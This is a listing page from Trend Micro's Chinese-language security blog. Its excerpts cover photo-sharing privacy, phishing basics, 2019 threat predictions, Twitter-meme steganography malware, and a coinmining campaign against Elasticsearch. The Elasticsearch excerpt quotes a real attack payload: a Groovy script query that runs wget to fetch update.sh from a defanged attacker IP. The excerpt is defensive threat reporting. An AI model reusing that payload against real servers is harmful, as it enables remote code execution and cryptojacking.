趨勢科技 TrendMicro | 資安趨勢部落格

《資安漫畫》拍照上傳社群網站,路人甲一起入鏡,沒關係嗎?

2018 年 12 月 25 日2018 年 12 月 26 日趨勢科技 TrendMicro

日乘客把涉電車性騷影片上傳 ,恐也觸法?!

近日有一則新聞日國中生電車涉性騷同車旅客偷拍上傳恐也觸法,日本一名男學生故意在電車上製造書包內物品散落地板的假象,在混亂藉以偷看女子裙底風光，甚至去觸碰女學生，全程行徑都被乘客拍下後上傳社群網站 Twitter (推特)，該男行為引發熱議,影片也意外引發偷拍恐觸犯日本刑法41條。

在台灣也有類似的討論根據 ETtoday新聞報導,就讀王姓研究生與李姓女友交往期間，未經過同意偷拍 17 次私密照及影片上傳到雲端相簿，女友發現後罹患躁鬱症，一審被判處10個月有期徒刑，王姓男子上訴，卻被二審法官駁回打臉。

在幾乎人人都有智慧型手機的年代,還是提醒大家未經同意擅自將他人照片上傳到網路，當心會有侵害照片中人肖像權之虞。

自拍也有風險

趨勢科技針對668位網友「媽呀,上傳了什麼照片這麼糗 !」三大自拍風險你犯了幾項？調查結果發現，榮登照片分享的三大風險王分別為：

(一)出國時 PO 登機證打卡文個資全都露

(二)拍照時開了定位功能，曝露所在位置

(三)分享照片時除曝光位置也將手機型號洩露出

網友最想跟喜歡拍照上傳照片的媽媽說的六件事,依票數排行依序是:

檢查照片後再上傳( 別犯了跟英國威廉王子同樣的錯誤)
不要出賣我的童年(上傳我小時候的裸照/糗照還標籤我)
媽,你是最美的媽媽,不需要美圖 APP
下次在家自拍時請通知可能不小心入鏡的人(尤其是我在上廁所時)
媽,你按到錄影了
不要跟別人上傳的母親節聚餐照較勁我的心意最重要

繼續閱讀

【資安漫畫】什麼是網路釣魚?何謂 Phishing? (同場加映:魚叉式網路釣魚Spear Phishing)

2018 年 12 月 24 日2024 年 10 月 03 日趨勢科技 TrendMicro

對許多人來說，聖誕節和新年等節日是購物和花錢的季節。但在網路犯罪分子眼裡則有別的意思 – 他們認為這是進行網路釣魚偷竊個資的黃金季節。請參考你愛的聖誕禮物,網路釣客也愛~年底十大網路釣魚最愛購物頁面。

網路釣魚通常是指企圖透過電子郵件、通訊軟體來獲得你個人資訊以竊取你的身份認證。大多數網路釣魚會企圖讓自己看起來像是一般行為，實際上卻是用於犯罪活動。它們看起來就像是來自銀行、信用卡公司、信譽良好的公私立機構的正式通知，通常在訊息中會夾帶惡意連結，引導收件者至看起來與官方極為相似的山寨網站，要求提供帳號密碼等資訊。

網路釣魚（Phishing）的起源

網路釣魚（Phishing）的起源可回溯至 1970 年代的飛客 (phreaking) 入侵手法，這種手法利用簡單的兒童玩具哨子就能非法使用電話系統，至今依然惡名昭彰。網路釣魚延續了電話飛客手法的傳統，同樣都是爲獲取實質利益而將專業技術用於不正當的用途。相關報導

Phishing The Cap'n Crunch Whistle 玉米片附贈的玩具哨子,因為與“網路釣魚”有關,而身價大漲 — 一個玉米片附贈的玩具哨子能製造出核准通話的 2600 Hz 音頻，成爲飛客 (phreaking) 盜撥電路的主要工具。

繼續閱讀

虛擬貨幣病毒透過 Elasticsearch 舊漏洞散播

2018 年 12 月 21 日2018 年 12 月 19 日趨勢科技 TrendMicro

趨勢科技曾在蜜罐系統上發現了關於搜尋引擎 Elasticsearch （用Lucene程式庫開發的開放原始碼Java搜尋引擎）的惡意挖礦( coinmining )活動。這波攻擊利用了漏洞CVE-2015-1427（位在Groovy 腳本引擎，讓遠端攻擊者可以用特製腳本來執行任意 shell 命令）以及CVE-2014-320（Elasticsearch預設設定內的漏洞）。Elasticsearch已經不再支援有漏洞的版本。

我們在運行Elasticsearch的伺服器上發現帶有以下命令的查詢（ISC也在一篇文章中提到）：

“{“lupin”:{“script”: “java.lang.Math.class.forName(\”java.lang.Runtime\”).getRuntime().exec(\”wget hxxp://69[.]30[.]203[.]170/gLmwDU86r9pM3rXf/update.sh -P

/tmp/sssooo\”).getText()”}}}”

這命令是由同個系統/攻擊主機執行，後續病毒也是放在此主機上。在本文編寫時，使用此IP的是網域matrixhazel[.]com（無法連上）。此系統安裝的是CentOS 6，同時運行了網頁伺服器和SSH伺服器。

圖1、GreyNotes將此這主機標記為已知掃描器

要注意的是，這種攻擊並不新鮮，只是最近又重新出現。趨勢科技的Smart Protection Network 11月在多個地區偵測到虛擬貨幣挖礦病毒，包括了台灣、中國和美國。

挖礦病毒散播bash腳本update.sh的方式是先調用shell來下載並輸出成檔案“/tmp/sssooo“（因為大多數系統對/tmp的限制較少）。

這種攻擊簡單卻會對受害者產生重大的影響。一旦攻擊者可以在系統上執行任意命令，就可以提升權限，甚至將目標轉向其他系統來進一步地入侵網路。

還應該注意的是，雖然大多數案例的攻擊手法相同，但所使用的惡意檔案可能不同。在我們所分析的案例中，使用的是update.sh。一但執行腳本update.sh就會下載檔案devtools和config.json。接著就會部署虛擬貨幣挖礦病毒（趨勢科技偵測為 Coinminer.Linux.MALXMR.UWEIS)。繼續閱讀

趨勢科技公布2019資安預測：資料外洩攻擊白熱化、網路釣魚攻擊件數明顯大增、工控系統威脅持續升高

2018 年 12 月 19 日2018 年 12 月 19 日趨勢科技 TrendMicro

企業與個人資安意識內化，採取跨世代防護技術多層式保護連網安全

【2018年12月19日，台北訊】全球網路資安解決方案領導廠商趨勢科技（東京證券交易所股票代碼：4704）發表2019年資安年度預測報告，針對網路安全威脅與網路犯罪攻擊趨勢，提出三大重點警示：憑證資料外洩遭盜用詐騙事件將不斷增加、網路釣魚攻擊手段將取代漏洞攻擊套件成為主要攻擊手法以及工控系統的安全性持續受到威脅。

趨勢科技臺灣區暨香港區總經理洪偉淦表示：「回顧今年全球資安政策推動，可觀察到各組織及企業對於資料安全的重視; 重大資訊安全事件的發生亦凸顯連網裝置普及所面臨的資安問題。預期在2019年企業和組織將導入更多連網設備，而連網速度也將大幅提升，資訊安全將面臨更廣泛與多元的挑戰，不僅企業對於資訊安全團隊的需求將提高，多層式智能防護的資安政策將在企業經營中扮演關鍵的角色，企業領導人對於網路安全的重視及培養經營團隊資安意識，更是建構自身企業網路安全防護架構的重要基石。」

趨勢科技台灣區暨香港區總經理洪偉淦於2019年資安預測媒體活動中表示，預期2019年企業和組織將導入更多連網設備，資訊安全策略將成為企業營運關鍵

繼續閱讀

駭客利用 Twitter 發送 Meme迷因梗圖,藉圖像隱碼術( Steganography )躲避偵測

2018 年 12 月 19 日2018 年 12 月 19 日趨勢科技 TrendMicro

圖像隱碼術(Steganography) – 將惡意檔案藏在圖片中來躲避偵測的方法，一直以來都被駭客用來散播惡意軟體或進行其他惡意攻擊。趨勢科技最近發現有駭客在「MEME」迷因圖(梗圖)上使用了這種技術。在10月25日和26日，攻擊者透過一個在2017年建立的 Twitter 帳號發表了兩條包含惡意Meme迷因圖的推文。圖內嵌了命令，讓惡意軟體從惡意 Twitter 帳號下載到受害者電腦後加以解析。變成電腦內惡意軟體的C&C服務。但要注意的是，惡意軟體並非從 Twitter下載，我們也沒有觀察到惡意軟體是用哪種機制散播給受害者。

編按:「Meme」指在網路上快速傳播擴散的爆紅內容,也有用發音/miːm/直譯為「迷因」, Meme圖通常指具有某種梗的圖片。

這個新威脅（偵測為TROJAN.MSIL.BERBOMTHUM.AA）值得注意的地方在於，惡意軟體透過合法服務（也是熱門的社群網路平台）接收命令，使用看似正常實為惡意的Meme迷因圖，而且除非關閉惡意Twitter帳號，不然無法中斷此威脅。Twitter在2018年12月13日已經關閉了該帳號。

隱藏在所提到圖片中的命令是「/print」，指示惡意軟體擷取受感染電腦的螢幕截圖。螢幕截圖會被送到駭客控制的C&C伺服器（利用pastebin.com來取得網址）。

截取受感染電腦螢幕截圖回傳給駭客

趨勢科技發現，一旦惡意軟體在受感染電腦上執行，就會將從Twitter帳戶下載惡意Meme迷因圖到受害者電腦上。接著會取出圖內所藏的命令，在此次案例中是「print」命令，讓惡意軟體截取受感染電腦的螢幕截圖。接著惡意軟體會從Pastebin取得C&C伺服器資訊。再將所收集的資訊或命令輸出上傳到指定網址，傳送給攻擊者。